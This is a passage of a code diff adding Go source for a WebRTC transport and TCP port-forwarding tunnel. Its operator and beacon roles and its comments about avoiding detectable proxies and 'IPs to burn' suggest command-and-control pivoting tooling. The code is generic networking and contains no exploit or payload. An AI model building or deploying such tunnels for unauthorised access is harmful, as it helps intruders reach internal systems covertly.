return fmt.Sprintf("peer-%d", time.Now().UnixNano())
}
return hex.EncodeToString(b)
}
+426
View File
@@ -0,0 +1,426 @@
package transport
import (
"context"
"fmt"
"io"
"log"
"sync"
"time"
"github.com/pion/webrtc/v4"
)
// PeerState describes the current connection state.
type PeerState int
const (
StateDisconnected PeerState = iota
StateConnecting
StateConnected
StateFailed
)
func (s PeerState) String() string {
switch s {
case StateDisconnected:
return "disconnected"
case StateConnecting:
return "connecting"
case StateConnected:
return "connected"
case StateFailed:
return "failed"
default:
return "unknown"
}
}
// PeerEvent is emitted when the peer connection state changes.
type PeerEvent struct {
State PeerState
Err error
}
// Peer wraps a Pion RTCPeerConnection and provides a high-level interface
// for creating and managing WebRTC data channels with automatic reconnection.
type Peer struct {
mu sync.RWMutex
config *Config
pc *webrtc.PeerConnection
dc *webrtc.DataChannel
state PeerState
stopCh chan struct{}
doneCh chan struct{}
// Callbacks
onStateChange func(PeerEvent)
onMessage func([]byte)
onError func(error)
// Reconnection
reconnectCount int
// SDP signalling hooks
// OnLocalDescription is called when an SDP offer/answer is ready to send.
OnLocalDescription func(sdp webrtc.SessionDescription) error
// RemoteDescriptionChan receives SDP answers/offers from the remote peer.
RemoteDescriptionChan chan webrtc.SessionDescription
}
// NewPeer creates a new WebRTC peer.
func NewPeer(cfg *Config) (*Peer, error) {
if cfg == nil {
cfg = DefaultConfig(RoleBeacon)
}
p := &Peer{
config: cfg,
state: StateDisconnected,
stopCh: make(chan struct{}),
doneCh: make(chan struct{}),
RemoteDescriptionChan: make(chan webrtc.SessionDescription, 16),
}
return p, nil
}
// OnStateChange registers a callback for connection state changes.
func (p *Peer) OnStateChange(fn func(PeerEvent)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onStateChange = fn
}
// OnMessage registers a callback for incoming data channel messages.
func (p *Peer) OnMessage(fn func([]byte)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onMessage = fn
}
// OnError registers a callback for errors.
func (p *Peer) OnError(fn func(error)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onError = fn
}
// Connect initiates the WebRTC connection.
// For the operator role, it creates an offer.
// For the beacon role, it waits for a remote offer.
func (p *Peer) Connect(ctx context.Context) error {
p.mu.Lock()
if p.state == StateConnected {
p.mu.Unlock()
return fmt.Errorf("peer: already connected")
}
p.state = StateConnecting
p.mu.Unlock()
p.emitState(StateConnecting, nil)
if err := p.createPeerConnection(); err != nil {
p.emitState(StateFailed, err)
return fmt.Errorf("peer: create pc: %w", err)
}
// Create data channel (operator initiates)
if p.config.Role == RoleOperator {
if err := p.createDataChannel(); err != nil {
return fmt.Errorf("peer: create dc: %w", err)
}
// Create and send offer
offer, err := p.pc.CreateOffer(nil)
if err != nil {
return fmt.Errorf("peer: create offer: %w", err)
}
if err := p.pc.SetLocalDescription(offer); err != nil {
return fmt.Errorf("peer: set local desc: %w", err)
}
// Signal the offer to the remote peer
if p.OnLocalDescription != nil {
if err := p.OnLocalDescription(offer); err != nil {
return fmt.Errorf("peer: signal offer: %w", err)
}
}
}
go p.connectionLoop(ctx)
return nil
}
// Send sends data over the data channel.
func (p *Peer) Send(data []byte) error {
p.mu.RLock()
dc := p.dc
p.mu.RUnlock()
if dc == nil {
return fmt.Errorf("peer: data channel not ready")
}
return dc.Send(data)
}
// Close terminates the peer connection.
func (p *Peer) Close() error {
p.mu.Lock()
defer p.mu.Unlock()
select {
case <-p.stopCh:
return nil
default:
close(p.stopCh)
}
if p.pc != nil {
return p.pc.Close()
}
return nil
}
// Done returns a channel that closes when the peer is fully shut down.
func (p *Peer) Done() <-chan struct{} {
return p.doneCh
}
// Config returns the peer's configuration.
func (p *Peer) Config() *Config {
p.mu.RLock()
defer p.mu.RUnlock()
return p.config
}
// State returns the current peer state.
func (p *Peer) State() PeerState {
p.mu.RLock()
defer p.mu.RUnlock()
return p.state
}
// createPeerConnection sets up the underlying RTCPeerConnection.
func (p *Peer) createPeerConnection() error {
p.mu.Lock()
defer p.mu.Unlock()
settings := webrtc.SettingEngine{}
settings.DetachDataChannels()
api := webrtc.NewAPI(webrtc.WithSettingEngine(settings))
iceServers := make([]webrtc.ICEServer, len(p.config.ICEServers))
for i, s := range p.config.ICEServers {
iceServers[i] = webrtc.ICEServer{
URLs: s.URLs,
Username: s.Username,
Credential: s.Credential,
}
}
config := webrtc.Configuration{
ICEServers: iceServers,
ICETransportPolicy: webrtc.ICETransportPolicyAll,
}
pc, err := api.NewPeerConnection(config)
if err != nil {
return fmt.Errorf("new pc: %w", err)
}
// Handle ICE connection state changes
pc.OnICEConnectionStateChange(func(state webrtc.ICEConnectionState) {
log.Printf("[transport] ICE state: %s", state)
switch state {
case webrtc.ICEConnectionStateConnected:
p.emitState(StateConnected, nil)
p.mu.Lock()
p.reconnectCount = 0
p.mu.Unlock()
case webrtc.ICEConnectionStateDisconnected:
p.emitState(StateDisconnected, nil)
case webrtc.ICEConnectionStateFailed:
p.emitState(StateFailed, fmt.Errorf("ICE failed"))
}
})
// Handle data channels initiated by the remote peer (beacon side)
if p.config.Role == RoleBeacon {
pc.OnDataChannel(func(dc *webrtc.DataChannel) {
log.Printf("[transport] received remote data channel: %s", dc.Label())
p.handleDataChannel(dc)
})
}
p.pc = pc
return nil
}
// createDataChannel creates the data channel (operator side).
func (p *Peer) createDataChannel() error {
p.mu.Lock()
defer p.mu.Unlock()
dc, err := p.pc.CreateDataChannel(p.config.DataChannelName, &webrtc.DataChannelInit{
Ordered: boolPtr(true),
})
if err != nil {
return fmt.Errorf("create dc: %w", err)
}
p.handleDataChannel(dc)
return nil
}
// handleDataChannel sets up the data channel callbacks.
func (p *Peer) handleDataChannel(dc *webrtc.DataChannel) {
p.mu.Lock()
p.dc = dc
p.mu.Unlock()
dc.OnOpen(func() {
log.Printf("[transport] data channel '%s' opened", dc.Label())
})
dc.OnClose(func() {
log.Printf("[transport] data channel '%s' closed", dc.Label())
})
dc.OnMessage(func(msg webrtc.DataChannelMessage) {
p.mu.RLock()
cb := p.onMessage
p.mu.RUnlock()
if cb != nil {
cb(msg.Data)
}
})
}
// connectionLoop handles the main event loop including reconnection.
func (p *Peer) connectionLoop(ctx context.Context) {
defer close(p.doneCh)
for {
select {
case <-ctx.Done():
p.Close()
return
case <-p.stopCh:
return
case remoteDesc := <-p.RemoteDescriptionChan:
if err := p.pc.SetRemoteDescription(remoteDesc); err != nil {
log.Printf("[transport] set remote desc error: %v", err)
p.emitState(StateFailed, err)
return
}
// If we're the beacon, we need to create an answer
if p.config.Role == RoleBeacon {
answer, err := p.pc.CreateAnswer(nil)
if err != nil {
log.Printf("[transport] create answer error: %v", err)
return
}
if err := p.pc.SetLocalDescription(answer); err != nil {
log.Printf("[transport] set local desc error: %v", err)
return
}
if p.OnLocalDescription != nil {
if err := p.OnLocalDescription(answer); err != nil {
log.Printf("[transport] signal answer error: %v", err)
}
}
}
case <-p.reconnectTimer():
p.mu.RLock()
count := p.reconnectCount
maxRetries := p.config.MaxReconnectRetries
p.mu.RUnlock()
if count >= maxRetries {
p.emitState(StateFailed, fmt.Errorf("max reconnection retries exceeded"))
return
}
if p.state == StateDisconnected || p.state == StateFailed {
log.Printf("[transport] attempting reconnect #%d", count+1)
p.mu.Lock()
p.reconnectCount++
p.mu.Unlock()
p.reconnect()
}
}
}
}
func (p *Peer) reconnectTimer() <-chan time.Time {
p.mu.RLock()
delay := p.config.ReconnectDelay
p.mu.RUnlock()
return time.After(delay)
}
func (p *Peer) reconnect() {
_ = p.pc.Close()
p.mu.Lock()
p.pc = nil
p.dc = nil
p.mu.Unlock()
p.emitState(StateConnecting, nil)
if err := p.createPeerConnection(); err != nil {
log.Printf("[transport] reconnect create pc error: %v", err)
p.emitState(StateFailed, err)
return
}
if p.config.Role == RoleOperator {
if err := p.createDataChannel(); err != nil {
log.Printf("[transport] reconnect create dc error: %v", err)
return
}
offer, err := p.pc.CreateOffer(nil)
if err != nil {
log.Printf("[transport] reconnect create offer error: %v", err)
return
}
if err := p.pc.SetLocalDescription(offer); err != nil {
log.Printf("[transport] reconnect set local error: %v", err)
return
}
if p.OnLocalDescription != nil {
_ = p.OnLocalDescription(offer)
}
}
}
func (p *Peer) emitState(state PeerState, err error) {
p.mu.Lock()
p.state = state
cb := p.onStateChange
p.mu.Unlock()
if cb != nil {
cb(PeerEvent{State: state, Err: err})
}
}
// Ensure io.Closer interface
var _ io.Closer = (*Peer)(nil)
func boolPtr(b bool) *bool {
return &b
}
+127
View File
@@ -0,0 +1,127 @@
package tunnel
import (
"fmt"
"io"
"log"
"net"
"strings"
"sync"
"time"
)
// Forwarder runs on the beacon side. It accepts tunnel open requests
// from the operator (via WebRTC data channel), connects to the target
// internally, and bridges data bidirectionally.
type Forwarder struct {
OnTunnelData func(tunnelID TunnelID, data []byte)
OnTunnelErr func(tunnelID TunnelID, err error)
mu sync.Mutex
connections map[TunnelID]net.Conn
}
// NewForwarder creates a new tunnel forwarder for the beacon.
func NewForwarder() *Forwarder {
return &Forwarder{
connections: make(map[TunnelID]net.Conn),
}
}
// HandleMessage processes a tunnel message from the operator.
// Message format (simple text-based, no proxy protocol):
//
// "OPEN:host:port" — open a new connection to target
// "CLOSE" — close this tunnel
// <raw bytes> — data to forward to the target
func (f *Forwarder) HandleMessage(tunnelID TunnelID, raw []byte) {
msg := string(raw)
switch {
case strings.HasPrefix(msg, "OPEN:"):
target := strings.TrimPrefix(msg, "OPEN:")
log.Printf("[forwarder] tunnel open -> %s (id: %s)", target, tunnelID)
go f.openTunnel(tunnelID, target)
case msg == "CLOSE":
log.Printf("[forwarder] tunnel close (id: %s)", tunnelID)
f.closeTunnel(tunnelID)
default:
// Raw data to forward to the target connection
f.forwardData(tunnelID, raw)
}
}
func (f *Forwarder) openTunnel(tunnelID TunnelID, target string) {
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[forwarder] dial %s failed: %v", target, err)
if f.OnTunnelErr != nil {
f.OnTunnelErr(tunnelID, fmt.Errorf("dial %s: %w", target, err))
}
return
}
f.mu.Lock()
f.connections[tunnelID] = conn
f.mu.Unlock()
log.Printf("[forwarder] tunnel connected to %s (id: %s)", target, tunnelID)
// Read from target and send back through WebRTC tunnel
buf := make([]byte, 16384)
for {
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
n, err := conn.Read(buf)
if err != nil {
if err != io.EOF {
log.Printf("[forwarder] read from %s: %v", target, err)
}
f.closeTunnel(tunnelID)
return
}
if f.OnTunnelData != nil {
f.OnTunnelData(tunnelID, buf[:n])
}
}
}
func (f *Forwarder) forwardData(tunnelID TunnelID, data []byte) {
f.mu.Lock()
conn, ok := f.connections[tunnelID]
f.mu.Unlock()
if !ok {
log.Printf("[forwarder] unknown tunnel id: %s", tunnelID)
return
}
if _, err := conn.Write(data); err != nil {
log.Printf("[forwarder] write error on %s: %v", tunnelID, err)
f.closeTunnel(tunnelID)
}
}
func (f *Forwarder) closeTunnel(tunnelID TunnelID) {
f.mu.Lock()
conn, ok := f.connections[tunnelID]
delete(f.connections, tunnelID)
f.mu.Unlock()
if ok && conn != nil {
conn.Close()
log.Printf("[forwarder] closed tunnel: %s", tunnelID)
}
}
// Close terminates all active tunnel connections.
func (f *Forwarder) Close() error {
f.mu.Lock()
defer f.mu.Unlock()
for id, conn := range f.connections {
conn.Close()
delete(f.connections, id)
}
return nil
}
+207
View File
@@ -0,0 +1,207 @@
// Package tunnel provides direct TCP forward tunnels over WebRTC data channels.
// Instead of SOCKS5 proxies (which are detectable and require proxy software),
// this creates raw TCP forwarders — like SSH -L style port forwarding.
// The operator sets up a local listener, any connection gets wrapped in
// WebRTC data channel messages, and the beacon bridges to the real target.
//
// No proxy protocol. No proxychains. No middleman IPs to burn.
// Just clean TCP over encrypted WebRTC.
package tunnel
import (
"fmt"
"io"
"log"
"net"
"sync"
"time"
)
// TunnelID uniquely identifies a tunnel connection.
type TunnelID string
// TunnelConn represents one proxied connection through the tunnel.
type TunnelConn struct {
ID TunnelID
Target string // host:port
Conn net.Conn
Created time.Time
}
// Bridge tracks active tunnel connections and routes data between
// local sockets and the WebRTC data channel.
type Bridge struct {
OnData func(tunnelID TunnelID, data []byte)
OnClose func(tunnelID TunnelID)
mu sync.RWMutex
conns map[TunnelID]*TunnelConn
}
// NewBridge creates a new tunnel bridge.
func NewBridge() *Bridge {
return &Bridge{
conns: make(map[TunnelID]*TunnelConn),
}
}
// ForwardHandle accepts a raw TCP connection and tunnels it through
// the WebRTC data channel to the specified target (reaches via beacon).
// No SOCKS handshake — just pure TCP over WebRTC.
func (b *Bridge) ForwardHandle(client net.Conn, target string, tunnelID TunnelID) {
defer client.Close()
log.Printf("[tunnel] forward: %s -> %s", tunnelID, target)
tc := &TunnelConn{
ID: tunnelID,
Target: target,
Created: time.Now(),
}
b.mu.Lock()
b.conns[tunnelID] = tc
b.mu.Unlock()
defer func() {
b.mu.Lock()
delete(b.conns, tunnelID)
b.mu.Unlock()
}()
// Send tunnel open request to beacon
if b.OnData != nil {
b.OnData(tunnelID, []byte(fmt.Sprintf("OPEN:%s", target)))
}
// Bridge: local -> WebRTC tunnel
buf := make([]byte, 16384)
for {
client.SetReadDeadline(time.Now().Add(30 * time.Second))
n, err := client.Read(buf)
if err != nil {
if err != io.EOF && !isNetTimeout(err) {
log.Printf("[tunnel] read error on %s: %v", tunnelID, err)
}
break
}
if b.OnData != nil {
b.OnData(tunnelID, buf[:n])
}
}
// Tell beacon to close this tunnel
if b.OnData != nil {
b.OnData(tunnelID, []byte("CLOSE"))
}
}
// HandleData processes incoming tunnel data from the beacon
// and writes it to the local connection.
func (b *Bridge) HandleData(tunnelID TunnelID, data []byte) {
b.mu.RLock()
tc, ok := b.conns[tunnelID]
b.mu.RUnlock()
if !ok || tc.Conn == nil {
return
}
if _, err := tc.Conn.Write(data); err != nil {
log.Printf("[tunnel] write error on %s: %v", tunnelID, err)
}
}
// CloseTunnel closes a specific tunnel connection.
func (b *Bridge) CloseTunnel(tunnelID TunnelID) {
b.mu.Lock()
tc, ok := b.conns[tunnelID]
delete(b.conns, tunnelID)
b.mu.Unlock()
if ok && tc.Conn != nil {
tc.Conn.Close()
}
}
// CloseAll closes all tunnel connections.
func (b *Bridge) CloseAll() {
b.mu.Lock()
defer b.mu.Unlock()
for id, tc := range b.conns {
if tc.Conn != nil {
tc.Conn.Close()
}
delete(b.conns, id)
}
}
// ForwardListener manages a single port forward mapping.
type ForwardListener struct {
LocalAddr string
TargetAddr string
TunnelID string
listener net.Listener
bridge *Bridge
running bool
mu sync.Mutex
}
// StartForwardListener creates and starts a direct TCP forward listener.
func (b *Bridge) StartForwardListener(localAddr, targetAddr string) (*ForwardListener, error) {
listener, err := net.Listen("tcp", localAddr)
if err != nil {
return nil, fmt.Errorf("forward listen on %s: %w", localAddr, err)
}
fl := &ForwardListener{
LocalAddr: localAddr,
TargetAddr: targetAddr,
TunnelID: fmt.Sprintf("fwd-%s-%s", localAddr, targetAddr),
listener: listener,
bridge: b,
running: true,
}
go func() {
connID := 0
for {
conn, err := listener.Accept()
if err != nil {
fl.mu.Lock()
if !fl.running {
fl.mu.Unlock()
return
}
fl.mu.Unlock()
log.Printf("[forward] accept error on %s: %v", localAddr, err)
return
}
connID++
tid := TunnelID(fmt.Sprintf("%s-%d", fl.TunnelID, connID))
go b.ForwardHandle(conn, targetAddr, tid)
}
}()
log.Printf("[forward] %s -> %s (via beacon)", localAddr, targetAddr)
return fl, nil
}
// Stop shuts down the forward listener.
func (fl *ForwardListener) Stop() {
fl.mu.Lock()
fl.running = false
if fl.listener != nil {
fl.listener.Close()
}
fl.mu.Unlock()
log.Printf("[forward] stopped %s -> %s", fl.LocalAddr, fl.TargetAddr)
}
func isNetTimeout(err error) bool {
if netErr, ok := err.(net.Error); ok {
return netErr.Timeout()
}
return false
}